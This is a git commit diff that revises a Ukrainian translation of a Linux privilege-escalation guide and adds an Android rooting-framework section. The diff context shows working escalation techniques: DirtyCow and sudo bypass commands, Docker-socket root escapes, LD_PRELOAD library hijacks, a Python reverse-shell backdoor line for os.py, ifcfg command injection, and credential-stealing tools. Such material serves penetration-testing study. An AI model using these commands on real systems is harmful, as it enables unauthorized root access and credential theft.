Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-08-19 08:29:41 +00:00
parent f3d53bb013
commit 772561614e
4 changed files with 319 additions and 116 deletions

View File

@ -96,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

View File

@ -26,7 +26,7 @@ echo $PATH
```
### Kernel exploits
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв.
```bash
cat /proc/version
uname -a
@ -35,7 +35,7 @@ searchsploit "Linux Kernel"
Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Інші сайти, де ви можете знайти деякі **скомпільовані експлойти**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Щоб витягти всі вразливі версії ядра з цього веб-сайту, ви можете зробити:
Щоб витягти всі вразливі версії ядер з цього веб-сайту, ви можете зробити:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
@ -43,13 +43,13 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати У жертви, перевіряє експлойти лише для ядра 2.x)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати НА жертві, перевіряє експлойти лише для ядра 2.x)
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
Підвищення привілеїв в Linux - Ядро Linux <= 3.19.0-73.8
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
@ -73,7 +73,7 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.
```
sudo -u#-1 /bin/bash
```
### Dmesg підпис перевірки не вдалося
### Dmesg підпис перевірки не вдався
Перевірте **smasher2 box of HTB** для **прикладу** того, як цю уразливість можна експлуатувати
```bash
@ -86,7 +86,7 @@ date 2>/dev/null #Date
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
## Перерахувати можливі засоби захисту
## Перерахування можливих захистів
### AppArmor
```bash
@ -131,7 +131,7 @@ docker-security/
## Drives
Перевірте **що змонтовано і не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
Перевірте **що змонтовано і розмонтовано**, де і чому. Якщо щось розмонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas
```
### Вразливе програмне забезпечення встановлено
Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для ескалації привілеїв…\
Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для ескалації привілеїв…\
Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення.
```bash
dpkg -l #Debian
@ -162,13 +162,13 @@ rpm -qa #Centos
## Процеси
Подивіться на **які процеси** виконуються та перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
Подивіться на **які процеси** виконуються і перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?)
```bash
ps aux
ps -ef
top -n 1
```
Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось.
### Моніторинг процесів
@ -187,8 +187,8 @@ top -n 1
> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace:
>
> - **kernel.yama.ptrace_scope = 0**: всі процеси можуть бути налагоджені, якщо у них однаковий uid. Це класичний спосіб, як працював ptracing.
> - **kernel.yama.ptrace_scope = 1**: тільки батьківський процес може бути налагоджений.
> - **kernel.yama.ptrace_scope = 2**: тільки адміністратор може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 1**: лише батьківський процес може бути налагоджений.
> - **kernel.yama.ptrace_scope = 2**: лише адміністратор може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: жоден процес не може бути відстежений за допомогою ptrace. Після встановлення потрібно перезавантаження, щоб знову активувати ptracing.
#### GDB
@ -290,14 +290,14 @@ strings *.dump | grep -i password
Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **викраде відкриті облікові дані з пам'яті** та з деяких **відомих файлів**. Для правильної роботи потрібні права root.
| Функція | Назва процесу |
| Особливість | Назва процесу |
| ------------------------------------------------- | -------------------- |
| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Активні FTP з'єднання) | vsftpd |
| Apache2 (Активні сесії HTTP Basic Auth) | apache2 |
| OpenSSH (Активні SSH сесії - використання Sudo) | sshd: |
| OpenSSH (Активні SSH сесії - Використання Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Невидимі cron завдання
Можливо створити cron завдання **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки):
Можливо створити cronjob **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -393,7 +393,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
systemctl show-environment
```
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних** файлах сервісів, таких як:
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, таких як:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@ -419,7 +419,7 @@ Unit=backdoor.service
```
У документації ви можете прочитати, що таке Unit:
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я юніта, який активується, і ім'я юніта таймера були однаковими, за винятком суфікса.
> Юніт, який потрібно активувати, коли цей таймер спливає. Аргументом є назва юніта, суфікс якої не є ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб назва юніта, який активується, і назва юніта таймера були однаковими, за винятком суфікса.
Отже, щоб зловживати цим дозволом, вам потрібно:
@ -439,21 +439,21 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
## Сокети
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`.
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації і налаштовуються через файли `.socket`.
Сокети можна налаштувати за допомогою файлів `.socket`.
**Дізнайтеся більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування тощо)
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети, що прослуховують, **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як **сокети**/FIFO **закриті** та видалені відповідно.
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно.
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням вона відповідає службі, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
### Записувані .socket файли
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на зразок: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
Якщо ви знайдете **записуваний** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor`, і бекдор буде виконано перед створенням сокета. Тому вам **можливо, доведеться почекати, поки машина перезавантажиться.**\
_Зверніть увагу, що система повинна використовувати цю конфігурацію файлу сокета, інакше бекдор не буде виконано_
### Записувані сокети
@ -464,7 +464,7 @@ _Зверніть увагу, що система повинна викорис
```bash
netstat -a -p --unix
```
### Сира з'єднання
### Сире з'єднання
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
@ -481,7 +481,7 @@ socket-command-injection.md
### HTTP сокети
Зверніть увагу, що можуть бути деякі **сокети, що слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, що діють як unix сокети_). Ви можете перевірити це за допомогою:
Зверніть увагу, що можуть бути деякі **сокети, які слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, які діють як unix сокети_). Ви можете перевірити це за допомогою:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
### Записуваний Docker Socket
Docker сокет, який зазвичай знаходиться за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
Docker сокет, який зазвичай знаходиться за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, та альтернативні методи, якщо Docker CLI недоступний.
#### **Підвищення привілеїв за допомогою Docker CLI**
Якщо у вас є доступ на запис до Docker сокету, ви можете підвищити привілеї, використовуючи наступні команди:
Якщо у вас є доступ на запис до Docker сокета, ви можете підвищити привілеї, використовуючи наступні команди:
```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@ -614,7 +614,7 @@ lsof -i
```
### Відкриті порти
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти перед доступом до неї:
Завжди перевіряйте мережеві сервіси, що працюють на машині, з якою ви не змогли взаємодіяти перед її доступом:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
```
### Big UID
Деякі версії Linux були під впливом помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\
Деякі версії Linux були піддані впливу помилки, яка дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) і [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**Використайте**: **`systemd-run -t /bin/bash`**
### Groups
@ -763,7 +763,7 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```
Цю техніку також можна використовувати, якщо **suid** бінар **виконує іншу команду без вказівки шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінару)**.
Цю техніку також можна використовувати, якщо **suid** бінар **виконує іншу команду, не вказуючи шлях до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінару)**.
[Приклади payload для виконання.](payloads-to-execute.md)
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки.
> Схожий privesc може бути зловжито, якщо атакуючий контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки.
```c
#include <stdio.h>
#include <stdlib.h>
@ -840,7 +840,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Наприклад, зустріч помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
Наприклад, виникнення помилки, такої як _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_, вказує на потенціал для експлуатації.
Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
```c
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Тепер, коли ми знайшли SUID бінарний файл, який завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою:
Тепер, коли ми знайшли SUID бінарний файл, що завантажує бібліотеку з папки, куди ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -928,7 +928,7 @@ https://gtfoargs.github.io/
Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root оболонку, виконайте `sudo su`):
- **Перше експлуатаційне** (`exploit.sh`) створить бінарний файл `activate_sudo_token` в _/tmp_. Ви можете використовувати його для **активації токена sudo у вашій сесії** (ви не отримаєте автоматично root-оболонку, виконайте `sudo su`):
```bash
bash exploit.sh
/tmp/activate_sudo_token
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали оболонку в контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який буде виконувати ваш код як root, а потім команду користувача. Потім **змініть $PATH** контексту користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконує sudo, ваш виконуваний файл sudo виконується.
Зверніть увагу, що якщо користувач використовує іншу оболонку (не bash), вам потрібно буде змінити інші файли, щоб додати новий шлях. Наприклад, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
@ -1007,7 +1007,7 @@ sudo ls
Це означає, що конфігураційні файли з `/etc/ld.so.conf.d/*.conf` будуть прочитані. Ці конфігураційні файли **вказують на інші папки**, де **бібліотеки** будуть **шукатися**. Наприклад, вміст файлу `/etc/ld.so.conf.d/libc.conf` є `/usr/local/lib`. **Це означає, що система буде шукати бібліотеки всередині `/usr/local/lib`**.
Якщо з якоїсь причини **користувач має права на запис** на будь-який з вказаних шляхів: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, будь-який файл всередині `/etc/ld.so.conf.d/` або будь-яка папка в конфігураційному файлі всередині `/etc/ld.so.conf.d/*.conf`, він може мати можливість підвищити привілеї.\
Подивіться на **те, як експлуатувати цю неправильну конфігурацію** на наступній сторінці:
Ознайомтеся з **тим, як експлуатувати цю неправильну конфігурацію** на наступній сторінці:
{{#ref}}
ld.so.conf-example.md
@ -1048,7 +1048,7 @@ execve(file,argv,0);
```
## Можливості
Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root на **менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\
Linux capabilities надають **підмножину доступних привілеїв root для процесу**. Це ефективно розбиває привілеї root **на менші та відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином, повний набір привілеїв зменшується, знижуючи ризики експлуатації.\
Прочитайте наступну сторінку, щоб **дізнатися більше про можливості та як їх зловживати**:
{{#ref}}
@ -1060,11 +1060,11 @@ linux-capabilities.md
У директорії **біт для "виконання"** означає, що користувач може "**cd**" у папку.\
**Біт "читання"** означає, що користувач може **переглядати** **файли**, а **біт "запису"** означає, що користувач може **видаляти** та **створювати** нові **файли**.
## ACL
## ACLs
Списки контролю доступу (ACL) представляють собою вторинний рівень дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **деталізації забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Списки контролю доступу (ACLs) представляють собою вторинний рівень дискреційних дозволів, здатний **перезаписувати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль над доступом до файлів або директорій, дозволяючи або заважаючи права конкретним користувачам, які не є власниками або частиною групи. Цей рівень **досконалості забезпечує більш точне управління доступом**. Додаткові деталі можна знайти [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Надайте** користувачу "kali" права на читання та запис для файлу:
**Надайте** користувачу "kali" права на читання та запис над файлом:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Відкриті сеанси оболонки
В **старих версіях** ви можете **викрасти** деякі **сеанси оболонки** іншого користувача (**root**).\
В **нових версіях** ви зможете **підключитися** до сеансів екрану лише **вашого власного користувача**. Однак ви можете знайти **цікаву інформацію всередині сеансу**.
В **нових версіях** ви зможете **підключитися** лише до сеансів екрану **вашого власного користувача**. Однак ви можете знайти **цікаву інформацію всередині сеансу**.
### викрадення сеансів екрану
@ -1095,9 +1095,9 @@ screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
```
## tmux сесії хакінгу
## tmux сесії захоплення
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, будучи неправавленим користувачем.
Це була проблема з **старими версіями tmux**. Я не зміг захопити сесію tmux (v2.1), створену root, як неприваблений користувач.
**Список сесій tmux**
```bash
@ -1123,7 +1123,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\
Всі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 року та 13 травня 2008 року, можуть бути під впливом цього багу.\
Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можуть бути обчислені, і **маючи ssh публічний ключ, ви можете шукати відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Цікаві конфігураційні значення
@ -1273,7 +1273,7 @@ find / -type f -iname ".*" -ls 2>/dev/null
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
```
### **Веб-файли**
### **Веб файли**
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
@ -1319,7 +1319,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking
Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py).
Якщо ви знаєте, **звідки** буде виконуватись python-скрипт і ви **можете записувати в** цю папку або ви **можете модифікувати python-бібліотеки**, ви можете змінити бібліотеку OS і створити бекдор (якщо ви можете записувати, де буде виконуватись python-скрипт, скопіюйте та вставте бібліотеку os.py).
Щоб **створити бекдор у бібліотеці**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT):
```python
@ -1344,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** може **відредагувати** існуючий, то ваша **система зламано**.
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~sourced\~ на Linux через Network Manager (dispatcher.d).
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно так само, як .INI файли. Однак вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
@ -1354,13 +1354,13 @@ NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
### **init, init.d, systemd, та rc.d**
### **init, init.d, systemd та rc.d**
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart` та іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart.
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через сумісний шар в Upstart.
**systemd** виступає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
**systemd** виникає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
## Інші трюки
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Android rooting frameworks: зловживання менеджером-каналом
Android rooting frameworks зазвичай підключають syscall, щоб відкрити привілейовану функціональність ядра для менеджера користувацького простору. Слабка аутентифікація менеджера (наприклад, перевірки підпису на основі порядку FD або погані паролі) може дозволити локальному додатку видавати себе за менеджера та підвищити привілеї до root на вже-rooted пристроях. Дізнайтеся більше та деталі експлуатації тут:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
